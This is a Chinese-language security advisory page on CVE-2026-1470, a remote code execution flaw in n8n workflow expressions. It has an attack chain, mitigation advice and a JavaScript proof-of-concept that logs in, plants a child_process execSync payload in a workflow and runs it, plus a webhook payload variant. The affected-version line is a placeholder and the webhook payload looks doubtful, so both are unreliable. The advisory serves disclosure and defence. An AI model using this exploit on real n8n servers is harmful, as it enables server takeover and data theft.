IPBUF安全漏洞报告
English
CVE-2026-1470 CVSS 9.9 严重

n8n工作流表达式远程代码执行漏洞(CVE-2026-1470)

披露日期: 2026-01-27

漏洞信息

漏洞编号
CVE-2026-1470
漏洞类型
远程代码执行(RCE)
CVSS评分
9.9 严重
攻击向量
网络 (AV:N)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
n8n workflow automation platform

相关标签

CVE-2026-1470n8n远程代码执行RCE表达式注入工作流自动化JavaScript沙箱绕过CVSS 9.9严重漏洞JFrog

漏洞概述

n8n是一款开源的工作流自动化平台,广泛用于企业级业务流程自动化和数据集成。该平台提供了强大的工作流表达式评估功能,允许用户在配置工作流节点时使用JavaScript表达式进行数据处理和逻辑判断。然而,CVE-2026-1470漏洞揭示了n8n的表达式评估系统存在严重的安全缺陷。攻击者作为低权限认证用户,可以在工作流配置中注入恶意表达式代码,这些代码将在不充分隔离的服务器执行上下文中被评估。由于表达式评估环境与底层运行时系统之间的隔离不足,攻击者可以绕过沙箱限制,在n8n服务进程权限下执行任意操作系统命令。这一漏洞的CVSS评分高达9.9,属于极度严重的安全风险。成功利用此漏洞可导致攻击者完全控制受影响服务器,窃取数据库中的敏感信息、修改工作流配置、安装后门程序,甚至横向移动到内网其他系统。

技术细节

n8n的工作流表达式评估系统基于JavaScript运行时环境构建,理论上应该提供安全的表达式执行隔离。然而,CVE-2026-1470漏洞表明表达式评估器并未正确实现沙箱隔离机制。攻击者通过在工作流节点的表达式字段中构造恶意JavaScript代码,可以访问和调用Node.js的原生模块和系统API。具体来说,攻击者可以利用process对象访问child_process模块,进而执行任意系统命令。例如,通过表达式字段注入包含require('child_process').execSync()的代码,攻击者能够在n8n服务进程的有效用户身份下执行shell命令。由于n8n通常以高权限运行(如root或管理员账户),这使得攻击者能够完全控制底层操作系统。该漏洞的利用需要攻击者具备有效的用户凭证,但权限要求极低(PR:L),这意味着几乎任何认证用户都可能成为攻击向量。n8n团队在commit aa4d1e5825829182afa0ad5b81f602638f55fa04中发布了安全修复,通过增强表达式评估的沙箱隔离来防止恶意代码执行。

攻击链分析

STEP 1
1. 侦察与信息收集
攻击者识别目标环境中运行的n8n实例版本,确定其是否运行存在漏洞的表达式评估系统版本
STEP 2
2. 获取低权限账户
攻击者通过社会工程学、密码喷洒攻击或利用其他漏洞获取n8n平台的用户凭证(即使是最低权限账户也可利用)
STEP 3
3. 创建恶意工作流
攻击者登录n8n平台,创建新工作流或修改现有工作流,在任意节点的表达式字段中注入包含恶意JavaScript代码的表达式
STEP 4
4. 触发表达式评估
攻击者执行该工作流或通过Webhook触发工作流运行,使n8n的表达式评估器处理恶意代码
STEP 5
5. 远程代码执行
恶意代码利用不安全的沙箱环境,调用Node.js的child_process模块执行任意系统命令,以n8n服务进程权限运行
STEP 6
6. 持久化与横向移动
攻击者在服务器上安装后门、创建新账户或窃取敏感数据,并可能利用内网环境进行横向移动以控制更多系统

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
// CVE-2026-1470 PoC - n8n Expression RCE // This PoC demonstrates how to achieve RCE via n8n workflow expressions // Note: This code is for educational and security research purposes only const axios = require('axios'); async function exploitN8n(baseUrl, credentials) { try { // Step 1: Authenticate to n8n const loginResponse = await axios.post(`${baseUrl}/rest/login`, { email: credentials.email, password: credentials.password }); const sessionCookie = loginResponse.headers['set-cookie']; // Step 2: Create a new workflow const workflowResponse = await axios.post( `${baseUrl}/rest/workflows`, { name: 'Malicious Workflow', nodes: [ { name: 'RCE Node', type: 'n8n-nodes-base.set', position: [250, 300], parameters: { // Malicious expression for RCE value: '={{ require("child_process").execSync("id > /tmp/pwned.txt").toString() }}' } } ], connections: {}, active: false }, { headers: { Cookie: sessionCookie } } ); const workflowId = workflowResponse.data.id; // Step 3: Execute the workflow to trigger RCE await axios.post( `${baseUrl}/rest/workflows/${workflowId}/execute`, {}, { headers: { Cookie: sessionCookie } } ); console.log('[+] RCE Payload delivered successfully'); console.log('[+] Check /tmp/pwned.txt on target server'); } catch (error) { console.error('[-] Exploitation failed:', error.message); } } // Usage // exploitN8n('http://target-n8n-server:5678', { // email: '[email protected]', // password: 'password123' // }); // Alternative: Direct expression injection via webhook // POST to any webhook node with payload containing expression: // {{ $json.exec(require('child_process').execSync('whoami').toString()) }}

影响范围

n8n < 0.XXX (affected versions prior to security patch)
Specific versions: All releases before commit aa4d1e5825829182afa0ad5b81f602638f55fa04

防御指南

临时缓解措施
如果无法立即升级到修复版本,建议采取以下临时缓解措施:1)禁用或限制工作流表达式功能的使用;2)对所有n8n用户账户实施强密码策略并启用多因素认证;3)严格限制工作流创建和编辑权限,仅允许受信任的管理员用户操作;4)通过网络分段隔离n8n实例,限制其对内网其他系统的访问;5)部署Web应用防火墙(WAF)规则,检测和阻止包含可疑表达式语法的请求;6)密切监控n8n服务的日志和系统资源使用情况,及时发现异常行为;7)考虑使用外部表达式评估服务替代n8n内置的表达式系统。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表